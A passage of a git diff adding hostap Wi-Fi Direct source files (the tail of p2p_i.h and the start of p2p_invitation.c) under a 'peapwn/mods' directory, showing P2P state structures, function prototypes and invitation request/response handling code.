the P2P Device. + */ + u8 interface_addr[ETH_ALEN]; + + /* + * P2P Device Address of the GO in whose group this P2P Device is a + * client. + */ + u8 member_in_go_dev[ETH_ALEN]; + + /* + * P2P Interface Address of the GO in whose group this P2P Device is a + * client. + */ + u8 member_in_go_iface[ETH_ALEN]; + + int go_neg_req_sent; + enum p2p_go_state go_state; + u8 dialog_token; + u8 tie_breaker; + u8 intended_addr[ETH_ALEN]; + + char country[3]; + struct p2p_channels channels; + int oper_freq; + u8 oper_ssid[32]; + size_t oper_ssid_len; + + /** + * req_config_methods - Pending provision discovery methods + */ + u16 req_config_methods; + + /** + * wps_prov_info - Stored provisioning WPS config method + * + * This is used to store pending WPS config method between Provisioning + * Discovery and connection to a running group. + */ + u16 wps_prov_info; + +#define P2P_DEV_PROBE_REQ_ONLY BIT(0) +#define P2P_DEV_REPORTED BIT(1) +#define P2P_DEV_NOT_YET_READY BIT(2) +#define P2P_DEV_SD_INFO BIT(3) +#define P2P_DEV_SD_SCHEDULE BIT(4) +#define P2P_DEV_PD_PEER_DISPLAY BIT(5) +#define P2P_DEV_PD_PEER_KEYPAD BIT(6) +#define P2P_DEV_USER_REJECTED BIT(7) +#define P2P_DEV_PEER_WAITING_RESPONSE BIT(8) +#define P2P_DEV_PREFER_PERSISTENT_GROUP BIT(9) +#define P2P_DEV_WAIT_GO_NEG_RESPONSE BIT(10) +#define P2P_DEV_WAIT_GO_NEG_CONFIRM BIT(11) +#define P2P_DEV_GROUP_CLIENT_ONLY BIT(12) +#define P2P_DEV_FORCE_FREQ BIT(13) +#define P2P_DEV_PD_FOR_JOIN BIT(14) +#define P2P_DEV_REPORTED_ONCE BIT(15) +#define P2P_DEV_PREFER_PERSISTENT_RECONN BIT(16) +#define P2P_DEV_PD_BEFORE_GO_NEG BIT(17) +#define P2P_DEV_NO_PREF_CHAN BIT(18) + unsigned int flags; + + int status; /* enum p2p_status_code */ + unsigned int wait_count; + unsigned int connect_reqs; + unsigned int invitation_reqs; + + u16 ext_listen_period; + u16 ext_listen_interval; + + u8 go_timeout; + u8 client_timeout; +}; + +struct p2p_sd_query { + struct p2p_sd_query *next; + u8 peer[ETH_ALEN]; + int for_all_peers; + int wsd; /* Wi-Fi Display Service Discovery Request */ + struct wpabuf *tlvs; +}; + +struct p2p_pending_action_tx { + unsigned int freq; + u8 dst[ETH_ALEN]; + u8 src[ETH_ALEN]; + u8 bssid[ETH_ALEN]; + size_t len; + unsigned int wait_time; + /* Followed by len octets of the frame */ +}; + +/** + * struct p2p_data - P2P module data (internal to P2P module) + */ +struct p2p_data { + /** + * cfg - P2P module configuration + * + * This is included in the same memory allocation with the + * struct p2p_data and as such, must not be freed separately. + */ + struct p2p_config *cfg; + + /** + * state - The current P2P state + */ + enum p2p_state { + /** + * P2P_IDLE - Idle + */ + P2P_IDLE, + + /** + * P2P_SEARCH - Search (Device Discovery) + */ + P2P_SEARCH, + + /** + * P2P_CONNECT - Trying to start GO Negotiation + */ + P2P_CONNECT, + + /** + * P2P_CONNECT_LISTEN - Listen during GO Negotiation start + */ + P2P_CONNECT_LISTEN, + + /** + * P2P_GO_NEG - In GO Negotiation + */ + P2P_GO_NEG, + + /** + * P2P_LISTEN_ONLY - Listen only + */ + P2P_LISTEN_ONLY, + + /** + * P2P_WAIT_PEER_CONNECT - Waiting peer in List for GO Neg + */ + P2P_WAIT_PEER_CONNECT, + + /** + * P2P_WAIT_PEER_IDLE - Waiting peer idle for GO Neg + */ + P2P_WAIT_PEER_IDLE, + + /** + * P2P_SD_DURING_FIND - Service Discovery during find + */ + P2P_SD_DURING_FIND, + + /** + * P2P_PROVISIONING - Provisioning (during group formation) + */ + P2P_PROVISIONING, + + /** + * P2P_PD_DURING_FIND - Provision Discovery during find + */ + P2P_PD_DURING_FIND, + + /** + * P2P_INVITE - Trying to start Invite + */ + P2P_INVITE, + + /** + * P2P_INVITE_LISTEN - Listen during Invite + */ + P2P_INVITE_LISTEN, + + /** + * P2P_SEARCH_WHEN_READY - Waiting to start Search + */ + P2P_SEARCH_WHEN_READY, + + /** + * P2P_CONTINUE_SEARCH_WHEN_READY - Waiting to continue Search + */ + P2P_CONTINUE_SEARCH_WHEN_READY, + } state; + + /** + * min_disc_int - minDiscoverableInterval + */ + int min_disc_int; + + /** + * max_disc_int - maxDiscoverableInterval + */ + int max_disc_int; + + /** + * max_disc_tu - Maximum number of TUs for discoverable interval + */ + int max_disc_tu; + + /** + * devices - List of known P2P Device peers + */ + struct dl_list devices; + + /** + * go_neg_peer - Pointer to GO Negotiation peer + */ + struct p2p_device *go_neg_peer; + + /** + * invite_peer - Pointer to Invite peer + */ + struct p2p_device *invite_peer; + + const u8 *invite_go_dev_addr; + u8 invite_go_dev_addr_buf[ETH_ALEN]; + + /** + * sd_peer - Pointer to Service Discovery peer + */ + struct p2p_device *sd_peer; + + /** + * sd_query - Pointer to Service Discovery query + */ + struct p2p_sd_query *sd_query; + + /* GO Negotiation data */ + + /** + * intended_addr - Local Intended P2P Interface Address + * + * This address is used during group owner negotiation as the Intended + * P2P Interface Address and the group interface will be created with + * address as the local address in case of successfully completed + * negotiation. + */ + u8 intended_addr[ETH_ALEN]; + + /** + * go_intent - Local GO Intent to be used during GO Negotiation + */ + u8 go_intent; + + /** + * next_tie_breaker - Next tie-breaker value to use in GO Negotiation + */ + u8 next_tie_breaker; + + /** + * ssid - Selected SSID for GO Negotiation (if local end will be GO) + */ + u8 ssid[32]; + + /** + * ssid_len - ssid length in octets + */ + size_t ssid_len; + + /** + * ssid_set - Whether SSID is already set for GO Negotiation + */ + int ssid_set; + + /** + * Regulatory class for own operational channel + */ + u8 op_reg_class; + + /** + * op_channel - Own operational channel + */ + u8 op_channel; + + /** + * channels - Own supported regulatory classes and channels + * + * List of supposerted channels per regulatory class. The regulatory + * classes are defined in IEEE Std 802.11-2007 Annex J and the + * numbering of the clases depends on the configured country code. + */ + struct p2p_channels channels; + + struct wpa_freq_range_list no_go_freq; + + enum p2p_pending_action_state { + P2P_NO_PENDING_ACTION, + P2P_PENDING_GO_NEG_REQUEST, + P2P_PENDING_GO_NEG_RESPONSE, + P2P_PENDING_GO_NEG_RESPONSE_FAILURE, + P2P_PENDING_GO_NEG_CONFIRM, + P2P_PENDING_SD, + P2P_PENDING_PD, + P2P_PENDING_INVITATION_REQUEST, + P2P_PENDING_INVITATION_RESPONSE, + P2P_PENDING_DEV_DISC_REQUEST, + P2P_PENDING_DEV_DISC_RESPONSE, + P2P_PENDING_GO_DISC_REQ + } pending_action_state; + + unsigned int pending_listen_freq; + unsigned int pending_listen_sec; + unsigned int pending_listen_usec; + + u8 dev_capab; + + int in_listen; + int drv_in_listen; + + /** + * sd_queries - Pending service discovery queries + */ + struct p2p_sd_query *sd_queries; + + /** + * srv_update_indic - Service Update Indicator for local services + */ + u16 srv_update_indic; + + struct wpabuf *sd_resp; /* Fragmented SD response */ + u8 sd_resp_addr[ETH_ALEN]; + u8 sd_resp_dialog_token; + size_t sd_resp_pos; /* Offset in sd_resp */ + u8 sd_frag_id; + + struct wpabuf *sd_rx_resp; /* Reassembled SD response */ + u16 sd_rx_update_indic; + + /* P2P Invitation data */ + enum p2p_invite_role inv_role; + u8 inv_bssid[ETH_ALEN]; + int inv_bssid_set; + u8 inv_ssid[32]; + size_t inv_ssid_len; + u8 inv_sa[ETH_ALEN]; + u8 inv_group_bssid[ETH_ALEN]; + u8 *inv_group_bssid_ptr; + u8 inv_go_dev_addr[ETH_ALEN]; + u8 inv_status; + int inv_op_freq; + int inv_persistent; + + enum p2p_discovery_type find_type; + unsigned int last_p2p_find_timeout; + u8 last_prog_scan_class; + u8 last_prog_scan_chan; + int p2p_scan_running; + enum p2p_after_scan { + P2P_AFTER_SCAN_NOTHING, + P2P_AFTER_SCAN_LISTEN, + P2P_AFTER_SCAN_CONNECT + } start_after_scan; + u8 after_scan_peer[ETH_ALEN]; + struct p2p_pending_action_tx *after_scan_tx; + unsigned int after_scan_tx_in_progress:1; + + /* Requested device types for find/search */ + unsigned int num_req_dev_types; + u8 *req_dev_types; + u8 *find_dev_id; + u8 find_dev_id_buf[ETH_ALEN]; + + struct os_time find_start; /* time of last p2p_find start */ + + struct p2p_group **groups; + size_t num_groups; + + struct p2p_device *pending_client_disc_go; + u8 pending_client_disc_addr[ETH_ALEN]; + u8 pending_dev_disc_dialog_token; + u8 pending_dev_disc_addr[ETH_ALEN]; + int pending_dev_disc_freq; + unsigned int pending_client_disc_freq; + + int ext_listen_only; + unsigned int ext_listen_period; + unsigned int ext_listen_interval; + unsigned int ext_listen_interval_sec; + unsigned int ext_listen_interval_usec; + + u8 peer_filter[ETH_ALEN]; + + int cross_connect; + + int best_freq_24; + int best_freq_5; + int best_freq_overall; + int own_freq_preference; + + /** + * wps_vendor_ext - WPS Vendor Extensions to add + */ + struct wpabuf *wps_vendor_ext[P2P_MAX_WPS_VENDOR_EXT]; + + /* + * user_initiated_pd - Whether a PD request is user initiated or not. + */ + u8 user_initiated_pd; + + /* + * Keep track of which peer a given PD request was sent to. + * Used to raise a timeout alert in case there is no response. + */ + u8 pending_pd_devaddr[ETH_ALEN]; + + /* + * Retry counter for provision discovery requests when issued + * in IDLE state. + */ + int pd_retries; + + /** + * pd_force_freq - Forced frequency for PD retries or 0 to auto-select + * + * This is is used during PD retries for join-a-group case to use the + * correct operating frequency determined from a BSS entry for the GO. + */ + int pd_force_freq; + + u8 go_timeout; + u8 client_timeout; + + /* Extra delay in milliseconds between search iterations */ + unsigned int search_delay; + int in_search_delay; + +#ifdef CONFIG_WIFI_DISPLAY + struct wpabuf *wfd_ie_beacon; + struct wpabuf *wfd_ie_probe_req; + struct wpabuf *wfd_ie_probe_resp; + struct wpabuf *wfd_ie_assoc_req; + struct wpabuf *wfd_ie_invitation; + struct wpabuf *wfd_ie_prov_disc_req; + struct wpabuf *wfd_ie_prov_disc_resp; + struct wpabuf *wfd_ie_go_neg; + struct wpabuf *wfd_dev_info; + struct wpabuf *wfd_assoc_bssid; + struct wpabuf *wfd_coupled_sink_info; +#endif /* CONFIG_WIFI_DISPLAY */ +}; + +/** + * struct p2p_message - Parsed P2P message (or P2P IE) + */ +struct p2p_message { + struct wpabuf *p2p_attributes; + struct wpabuf *wps_attributes; + struct wpabuf *wfd_subelems; + + u8 dialog_token; + + const u8 *capability; + const u8 *go_intent; + const u8 *status; + const u8 *listen_channel; + const u8 *operating_channel; + const u8 *channel_list; + u8 channel_list_len; + const u8 *config_timeout; + const u8 *intended_addr; + const u8 *group_bssid; + const u8 *invitation_flags; + + const u8 *group_info; + size_t group_info_len; + + const u8 *group_id; + size_t group_id_len; + + const u8 *device_id; + + const u8 *manageability; + + const u8 *noa; + size_t noa_len; + + const u8 *ext_listen_timing; + + const u8 *minor_reason_code; + + /* P2P Device Info */ + const u8 *p2p_device_info; + size_t p2p_device_info_len; + const u8 *p2p_device_addr; + const u8 *pri_dev_type; + u8 num_sec_dev_types; + char device_name[33]; + u16 config_methods; + + /* WPS IE */ + u16 dev_password_id; + u16 wps_config_methods; + const u8 *wps_pri_dev_type; + const u8 *wps_sec_dev_type_list; + size_t wps_sec_dev_type_list_len; + const u8 *wps_vendor_ext[P2P_MAX_WPS_VENDOR_EXT]; + size_t wps_vendor_ext_len[P2P_MAX_WPS_VENDOR_EXT]; + const u8 *manufacturer; + size_t manufacturer_len; + const u8 *model_name; + size_t model_name_len; + const u8 *model_number; + size_t model_number_len; + const u8 *serial_number; + size_t serial_number_len; + + /* DS Parameter Set IE */ + const u8 *ds_params; + + /* SSID IE */ + const u8 *ssid; +}; + + +#define P2P_MAX_GROUP_ENTRIES 50 + +struct p2p_group_info { + unsigned int num_clients; + struct p2p_client_info { + const u8 *p2p_device_addr; + const u8 *p2p_interface_addr; + u8 dev_capab; + u16 config_methods; + const u8 *pri_dev_type; + u8 num_sec_dev_types; + const u8 *sec_dev_types; + const char *dev_name; + size_t dev_name_len; + } client[P2P_MAX_GROUP_ENTRIES]; +}; + + +/* p2p_utils.c */ +int p2p_random(char *buf, size_t len); +int p2p_channel_to_freq(int op_class, int channel); +int p2p_freq_to_channel(unsigned int freq, u8 *op_class, u8 *channel); +void p2p_channels_intersect(const struct p2p_channels *a, + const struct p2p_channels *b, + struct p2p_channels *res); +void p2p_channels_union(const struct p2p_channels *a, + const struct p2p_channels *b, + struct p2p_channels *res); +void p2p_channels_remove_freqs(struct p2p_channels *chan, + const struct wpa_freq_range_list *list); +int p2p_channels_includes(const struct p2p_channels *channels, u8 reg_class, + u8 channel); +void p2p_channels_dump(struct p2p_data *p2p, const char *title, + const struct p2p_channels *chan); +int p2p_channel_select(struct p2p_channels *chans, const int *classes, + u8 *op_class, u8 *op_channel); + +/* p2p_parse.c */ +int p2p_parse_p2p_ie(const struct wpabuf *buf, struct p2p_message *msg); +int p2p_parse_ies(const u8 *data, size_t len, struct p2p_message *msg); +int p2p_parse(const u8 *data, size_t len, struct p2p_message *msg); +void p2p_parse_free(struct p2p_message *msg); +int p2p_attr_text(struct wpabuf *data, char *buf, char *end); +int p2p_group_info_parse(const u8 *gi, size_t gi_len, + struct p2p_group_info *info); + +/* p2p_build.c */ + +struct p2p_noa_desc { + u8 count_type; + u32 duration; + u32 interval; + u32 start_time; +}; + +/* p2p_group.c */ +const u8 * p2p_group_get_interface_addr(struct p2p_group *group); +u8 p2p_group_presence_req(struct p2p_group *group, + const u8 *client_interface_addr, + const u8 *noa, size_t noa_len); +int p2p_group_is_group_id_match(struct p2p_group *group, const u8 *group_id, + size_t group_id_len); +void p2p_group_update_ies(struct p2p_group *group); +void p2p_group_force_beacon_update_ies(struct p2p_group *group); +struct wpabuf * p2p_group_get_wfd_ie(struct p2p_group *g); + + +void p2p_buf_add_action_hdr(struct wpabuf *buf, u8 subtype, u8 dialog_token); +void p2p_buf_add_public_action_hdr(struct wpabuf *buf, u8 subtype, + u8 dialog_token); +u8 * p2p_buf_add_ie_hdr(struct wpabuf *buf); +void p2p_buf_add_status(struct wpabuf *buf, u8 status); +void p2p_buf_add_device_info(struct wpabuf *buf, struct p2p_data *p2p, + struct p2p_device *peer); +void p2p_buf_add_device_id(struct wpabuf *buf, const u8 *dev_addr); +void p2p_buf_update_ie_hdr(struct wpabuf *buf, u8 *len); +void p2p_buf_add_capability(struct wpabuf *buf, u8 dev_capab, u8 group_capab); +void p2p_buf_add_go_intent(struct wpabuf *buf, u8 go_intent); +void p2p_buf_add_listen_channel(struct wpabuf *buf, const char *country, + u8 reg_class, u8 channel); +void p2p_buf_add_operating_channel(struct wpabuf *buf, const char *country, + u8 reg_class, u8 channel); +void p2p_buf_add_channel_list(struct wpabuf *buf, const char *country, + struct p2p_channels *chan); +void p2p_buf_add_config_timeout(struct wpabuf *buf, u8 go_timeout, + u8 client_timeout); +void p2p_buf_add_intended_addr(struct wpabuf *buf, const u8 *interface_addr); +void p2p_buf_add_group_bssid(struct wpabuf *buf, const u8 *bssid); +void p2p_buf_add_group_id(struct wpabuf *buf, const u8 *dev_addr, + const u8 *ssid, size_t ssid_len); +void p2p_buf_add_invitation_flags(struct wpabuf *buf, u8 flags); +void p2p_buf_add_noa(struct wpabuf *buf, u8 noa_index, u8 opp_ps, u8 ctwindow, + struct p2p_noa_desc *desc1, struct p2p_noa_desc *desc2); +void p2p_buf_add_ext_listen_timing(struct wpabuf *buf, u16 period, + u16 interval); +void p2p_buf_add_p2p_interface(struct wpabuf *buf, struct p2p_data *p2p); +int p2p_build_wps_ie(struct p2p_data *p2p, struct wpabuf *buf, int pw_id, + int all_attr); + +/* p2p_sd.c */ +struct p2p_sd_query * p2p_pending_sd_req(struct p2p_data *p2p, + struct p2p_device *dev); +void p2p_free_sd_queries(struct p2p_data *p2p); +void p2p_rx_gas_initial_req(struct p2p_data *p2p, const u8 *sa, + const u8 *data, size_t len, int rx_freq); +void p2p_rx_gas_initial_resp(struct p2p_data *p2p, const u8 *sa, + const u8 *data, size_t len, int rx_freq); +void p2p_rx_gas_comeback_req(struct p2p_data *p2p, const u8 *sa, + const u8 *data, size_t len, int rx_freq); +void p2p_rx_gas_comeback_resp(struct p2p_data *p2p, const u8 *sa, + const u8 *data, size_t len, int rx_freq); +int p2p_start_sd(struct p2p_data *p2p, struct p2p_device *dev); + +/* p2p_go_neg.c */ +int p2p_peer_channels_check(struct p2p_data *p2p, struct p2p_channels *own, + struct p2p_device *dev, + const u8 *channel_list, size_t channel_list_len); +void p2p_process_go_neg_req(struct p2p_data *p2p, const u8 *sa, + const u8 *data, size_t len, int rx_freq); +void p2p_process_go_neg_resp(struct p2p_data *p2p, const u8 *sa, + const u8 *data, size_t len, int rx_freq); +void p2p_process_go_neg_conf(struct p2p_data *p2p, const u8 *sa, + const u8 *data, size_t len); +int p2p_connect_send(struct p2p_data *p2p, struct p2p_device *dev); +u16 p2p_wps_method_pw_id(enum p2p_wps_method wps_method); +void p2p_reselect_channel(struct p2p_data *p2p, + struct p2p_channels *intersection); + +/* p2p_pd.c */ +void p2p_process_prov_disc_req(struct p2p_data *p2p, const u8 *sa, + const u8 *data, size_t len, int rx_freq); +void p2p_process_prov_disc_resp(struct p2p_data *p2p, const u8 *sa, + const u8 *data, size_t len); +int p2p_send_prov_disc_req(struct p2p_data *p2p, struct p2p_device *dev, + int join, int force_freq); +void p2p_reset_pending_pd(struct p2p_data *p2p); + +/* p2p_invitation.c */ +void p2p_process_invitation_req(struct p2p_data *p2p, const u8 *sa, + const u8 *data, size_t len, int rx_freq); +void p2p_process_invitation_resp(struct p2p_data *p2p, const u8 *sa, + const u8 *data, size_t len); +int p2p_invite_send(struct p2p_data *p2p, struct p2p_device *dev, + const u8 *go_dev_addr); +void p2p_invitation_req_cb(struct p2p_data *p2p, int success); +void p2p_invitation_resp_cb(struct p2p_data *p2p, int success); + +/* p2p_dev_disc.c */ +void p2p_process_dev_disc_req(struct p2p_data *p2p, const u8 *sa, + const u8 *data, size_t len, int rx_freq); +void p2p_dev_disc_req_cb(struct p2p_data *p2p, int success); +int p2p_send_dev_disc_req(struct p2p_data *p2p, struct p2p_device *dev); +void p2p_dev_disc_resp_cb(struct p2p_data *p2p, int success); +void p2p_process_dev_disc_resp(struct p2p_data *p2p, const u8 *sa, + const u8 *data, size_t len); +void p2p_go_disc_req_cb(struct p2p_data *p2p, int success); +void p2p_process_go_disc_req(struct p2p_data *p2p, const u8 *da, const u8 *sa, + const u8 *data, size_t len, int rx_freq); + +/* p2p.c */ +void p2p_set_state(struct p2p_data *p2p, int new_state); +void p2p_set_timeout(struct p2p_data *p2p, unsigned int sec, + unsigned int usec); +void p2p_clear_timeout(struct p2p_data *p2p); +void p2p_continue_find(struct p2p_data *p2p); +struct p2p_device * p2p_add_dev_from_go_neg_req(struct p2p_data *p2p, + const u8 *addr, + struct p2p_message *msg); +void p2p_add_dev_info(struct p2p_data *p2p, const u8 *addr, + struct p2p_device *dev, struct p2p_message *msg); +int p2p_add_device(struct p2p_data *p2p, const u8 *addr, int freq, + struct os_time *rx_time, int level, const u8 *ies, + size_t ies_len, int scan_res); +struct p2p_device * p2p_get_device(struct p2p_data *p2p, const u8 *addr); +struct p2p_device * p2p_get_device_interface(struct p2p_data *p2p, + const u8 *addr); +void p2p_go_neg_failed(struct p2p_data *p2p, struct p2p_device *peer, + int status); +void p2p_go_complete(struct p2p_data *p2p, struct p2p_device *peer); +int p2p_match_dev_type(struct p2p_data *p2p, struct wpabuf *wps); +int dev_type_list_match(const u8 *dev_type, const u8 *req_dev_type[], + size_t num_req_dev_type); +struct wpabuf * p2p_build_probe_resp_ies(struct p2p_data *p2p); +void p2p_build_ssid(struct p2p_data *p2p, u8 *ssid, size_t *ssid_len); +int p2p_send_action(struct p2p_data *p2p, unsigned int freq, const u8 *dst, + const u8 *src, const u8 *bssid, const u8 *buf, + size_t len, unsigned int wait_time); +void p2p_stop_listen_for_freq(struct p2p_data *p2p, int freq); +int p2p_prepare_channel(struct p2p_data *p2p, struct p2p_device *dev, + unsigned int force_freq, unsigned int pref_freq, + int go); +void p2p_dbg(struct p2p_data *p2p, const char *fmt, ...) +PRINTF_FORMAT(2, 3); +void p2p_info(struct p2p_data *p2p, const char *fmt, ...) +PRINTF_FORMAT(2, 3); +void p2p_err(struct p2p_data *p2p, const char *fmt, ...) +PRINTF_FORMAT(2, 3); + +#endif /* P2P_I_H */ diff --git a/peapwn/mods/hostap/src/p2p/p2p_invitation.c b/peapwn/mods/hostap/src/p2p/p2p_invitation.c new file mode 100644 index 000000000..2734386e3 --- /dev/null +++ b/peapwn/mods/hostap/src/p2p/p2p_invitation.c @@ -0,0 +1,590 @@ +/* + * Wi-Fi Direct - P2P Invitation procedure + * Copyright (c) 2010, Atheros Communications + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + */ + +#include "includes.h" + +#include "common.h" +#include "common/ieee802_11_defs.h" +#include "p2p_i.h" +#include "p2p.h" + + +static struct wpabuf * p2p_build_invitation_req(struct p2p_data *p2p, + struct p2p_device *peer, + const u8 *go_dev_addr) +{ + struct wpabuf *buf; + u8 *len; + const u8 *dev_addr; + size_t extra = 0; + +#ifdef CONFIG_WIFI_DISPLAY + struct wpabuf *wfd_ie = p2p->wfd_ie_invitation; + if (wfd_ie && p2p->inv_role == P2P_INVITE_ROLE_ACTIVE_GO) { + size_t i; + for (i = 0; i < p2p->num_groups; i++) { + struct p2p_group *g = p2p->groups[i]; + struct wpabuf *ie; + if (os_memcmp(p2p_group_get_interface_addr(g), + p2p->inv_bssid, ETH_ALEN) != 0) + continue; + ie = p2p_group_get_wfd_ie(g); + if (ie) { + wfd_ie = ie; + break; + } + } + } + if (wfd_ie) + extra = wpabuf_len(wfd_ie); +#endif /* CONFIG_WIFI_DISPLAY */ + + buf = wpabuf_alloc(1000 + extra); + if (buf == NULL) + return NULL; + + peer->dialog_token++; + if (peer->dialog_token == 0) + peer->dialog_token = 1; + p2p_buf_add_public_action_hdr(buf, P2P_INVITATION_REQ, + peer->dialog_token); + + len = p2p_buf_add_ie_hdr(buf); + if (p2p->inv_role == P2P_INVITE_ROLE_ACTIVE_GO || !p2p->inv_persistent) + p2p_buf_add_config_timeout(buf, 0, 0); + else + p2p_buf_add_config_timeout(buf, p2p->go_timeout, + p2p->client_timeout); + p2p_buf_add_invitation_flags(buf, p2p->inv_persistent ? + P2P_INVITATION_FLAGS_TYPE : 0); + if (p2p->inv_role != P2P_INVITE_ROLE_CLIENT || + !(peer->flags & P2P_DEV_NO_PREF_CHAN)) + p2p_buf_add_operating_channel(buf, p2p->cfg->country, + p2p->op_reg_class, + p2p->op_channel); + if (p2p->inv_bssid_set) + p2p_buf_add_group_bssid(buf, p2p->inv_bssid); + p2p_buf_add_channel_list(buf, p2p->cfg->country, &p2p->channels); + if (go_dev_addr) + dev_addr = go_dev_addr; + else if (p2p->inv_role == P2P_INVITE_ROLE_CLIENT) + dev_addr = peer->info.p2p_device_addr; + else + dev_addr = p2p->cfg->dev_addr; + p2p_buf_add_group_id(buf, dev_addr, p2p->inv_ssid, p2p->inv_ssid_len); + p2p_buf_add_device_info(buf, p2p, peer); + p2p_buf_update_ie_hdr(buf, len); + +#ifdef CONFIG_WIFI_DISPLAY + if (wfd_ie) + wpabuf_put_buf(buf, wfd_ie); +#endif /* CONFIG_WIFI_DISPLAY */ + + return buf; +} + + +static struct wpabuf * p2p_build_invitation_resp(struct p2p_data *p2p, + struct p2p_device *peer, + u8 dialog_token, u8 status, + const u8 *group_bssid, + u8 reg_class, u8 channel, + struct p2p_channels *channels) +{ + struct wpabuf *buf; + u8 *len; + size_t extra = 0; + +#ifdef CONFIG_WIFI_DISPLAY + struct wpabuf *wfd_ie = p2p->wfd_ie_invitation; + if (wfd_ie && group_bssid) { + size_t i; + for (i = 0; i < p2p->num_groups; i++) { + struct p2p_group *g = p2p->groups[i]; + struct wpabuf *ie; + if (os_memcmp(p2p_group_get_interface_addr(g), + group_bssid, ETH_ALEN) != 0) + continue; + ie = p2p_group_get_wfd_ie(g); + if (ie) { + wfd_ie = ie; + break; + } + } + } + if (wfd_ie) + extra = wpabuf_len(wfd_ie); +#endif /* CONFIG_WIFI_DISPLAY */ + + buf = wpabuf_alloc(1000 + extra); + if (buf == NULL) + return NULL; + + p2p_buf_add_public_action_hdr(buf, P2P_INVITATION_RESP, + dialog_token); + + len = p2p_buf_add_ie_hdr(buf); + p2p_buf_add_status(buf, status); + p2p_buf_add_config_timeout(buf, 0, 0); /* FIX */ + if (reg_class && channel) + p2p_buf_add_operating_channel(buf, p2p->cfg->country, + reg_class, channel); + if (group_bssid) + p2p_buf_add_group_bssid(buf, group_bssid); + if (channels) + p2p_buf_add_channel_list(buf, p2p->cfg->country, channels); + p2p_buf_update_ie_hdr(buf, len); + +#ifdef CONFIG_WIFI_DISPLAY + if (wfd_ie) + wpabuf_put_buf(buf, wfd_ie); +#endif /* CONFIG_WIFI_DISPLAY */ + + return buf; +} + + +void p2p_process_invitation_req(struct p2p_data *p2p, const u8 *sa, + const u8 *data, size_t len, int rx_freq) +{ + struct p2p_device *dev; + struct p2p_message msg; + struct wpabuf *resp = NULL; + u8 status = P2P_SC_FAIL_INFO_CURRENTLY_UNAVAILABLE; + int freq; + int go = 0; + u8 group_bssid[ETH_ALEN], *bssid; + int op_freq = 0; + u8 reg_class = 0, channel = 0; + struct p2p_channels intersection, *channels = NULL; + int persistent; + + os_memset(group_bssid, 0, sizeof(group_bssid)); + + p2p_dbg(p2p, "Received Invitation Request from " MACSTR " (freq=%d)", + MAC2STR(sa), rx_freq); + + if (p2p_parse(data, len, &msg)) + return; + + dev = p2p_get_device(p2p, sa); + if (dev == NULL || (dev->flags & P2P_DEV_PROBE_REQ_ONLY)) { + p2p_dbg(p2p, "Invitation Request from unknown peer " MACSTR, + MAC2STR(sa)); + + if (p2p_add_device(p2p, sa, rx_freq, NULL, 0, data + 1, len - 1, + 0)) { + p2p_dbg(p2p, "Invitation Request add device failed " + MACSTR, MAC2STR(sa)); + status = P2P_SC_FAIL_INFO_CURRENTLY_UNAVAILABLE; + goto fail; + } + + dev = p2p_get_device(p2p, sa); + if (dev == NULL) { + p2p_dbg(p2p, "Reject Invitation Request from unknown peer " + MACSTR, MAC2STR(sa)); + status = P2P_SC_FAIL_INFO_CURRENTLY_UNAVAILABLE; + goto fail; + } + } + + if (!msg.group_id || !msg.channel_list) { + p2p_dbg(p2p, "Mandatory attribute missing in Invitation Request from " + MACSTR, MAC2STR(sa)); + status = P2P_SC_FAIL_INVALID_PARAMS; + goto fail; + } + + if (msg.invitation_flags) + persistent = *msg.invitation_flags & P2P_INVITATION_FLAGS_TYPE; + else { + /* Invitation Flags is a mandatory attribute starting from P2P + * spec 1.06. As a backwards compatibility mechanism, assume + * the request was for a persistent group if the attribute is + * missing. + */ + p2p_dbg(p2p, "Mandatory Invitation Flags attribute missing from Invitation Request"); + persistent = 1; + } + + if (p2p_peer_channels_check(p2p, &p2p->cfg->channels, dev, + msg.channel_list, msg.channel_list_len) < + 0) { + p2p_dbg(p2p, "No common channels found"); + status = P2P_SC_FAIL_NO_COMMON_CHANNELS; + goto fail; + } + + p2p_channels_intersect(&p2p->cfg->channels, &dev->channels, + &intersection); + + if (p2p->cfg->invitation_process) { + status = p2p->cfg->invitation_process( + p2p->cfg->cb_ctx, sa, msg.group_bssid, msg.group_id, + msg.group_id + ETH_ALEN, msg.group_id_len - ETH_ALEN, + &go, group_bssid, &op_freq, persistent, &intersection); + } + + if (op_freq) { + p2p_dbg(p2p, "Invitation processing forced frequency %d MHz", + op_freq); + if (p2p_freq_to_channel(op_freq, ®_class, &channel) < 0) { + p2p_dbg(p2p, "Unknown forced freq %d MHz from invitation_process()", + op_freq); + status = P2P_SC_FAIL_NO_COMMON_CHANNELS; + goto fail; + } + + if (!p2p_channels_includes(&intersection, reg_class, channel)) + { + p2p_dbg(p2p, "forced freq %d MHz not in the supported channels interaction", + op_freq); + status = P2P_SC_FAIL_NO_COMMON_CHANNELS; + goto fail; + } + + if (status == P2P_SC_SUCCESS) + channels = &intersection; + } else { + p2p_dbg(p2p, "No forced channel from invitation processing - figure out best one to use"); + + /* Default to own configuration as a starting point */ + p2p->op_reg_class = p2p->cfg->op_reg_class; + p2p->op_channel = p2p->cfg->op_channel; + p2p_dbg(p2p, "Own default op_class %d channel %d", + p2p->op_reg_class, p2p->op_channel); + + /* Use peer preference if specified and compatible */ + if (msg.operating_channel) { + int req_freq; + req_freq = p2p_channel_to_freq( + msg.operating_channel[3], + msg.operating_channel[4]); + p2p_dbg(p2p, "Peer operating channel preference: %d MHz", + req_freq); + if (req_freq > 0 && + p2p_channels_includes(&intersection, + msg.operating_channel[3], + msg.operating_channel[4])) { + p2p->op_reg_class = msg.operating_channel[3]; + p2p->op_channel = msg.operating_channel[4]; + p2p_dbg(p2p, "Use peer preference op_class %d channel %d", + p2p->op_reg_class, p2p->op_channel); + } else { + p2p_dbg(p2p, "Cannot use peer channel preference"); + } + } + + if (!p2p_channels_includes(&intersection, p2p->op_reg_class, + p2p->op_channel)) { + p2p_dbg(p2p, "Initially selected channel (op_class %d channel %d) not in channel intersection - try to reselect", + p2p->op_reg_class, p2p->op_channel); + p2p_reselect_channel(p2p, &intersection); + p2p_dbg(p2p, "Re-selection result: op_class %d channel %d", + p2p->op_reg_class, p2p->op_channel); + if (!p2p_channels_includes(&intersection, + p2p->op_reg_class, + p2p->op_channel)) { + p2p_dbg(p2p, "Peer does not support selected operating channel (reg_class=%u channel=%u)", + p2p->op_reg_class, p2p->op_channel); + status = P2P_SC_FAIL_NO_COMMON_CHANNELS; + goto fail; + } + } else if (!(dev->flags & P2P_DEV_FORCE_FREQ) && + !p2p->cfg->cfg_op_channel) { + p2p_dbg(p2p, "Try to reselect channel 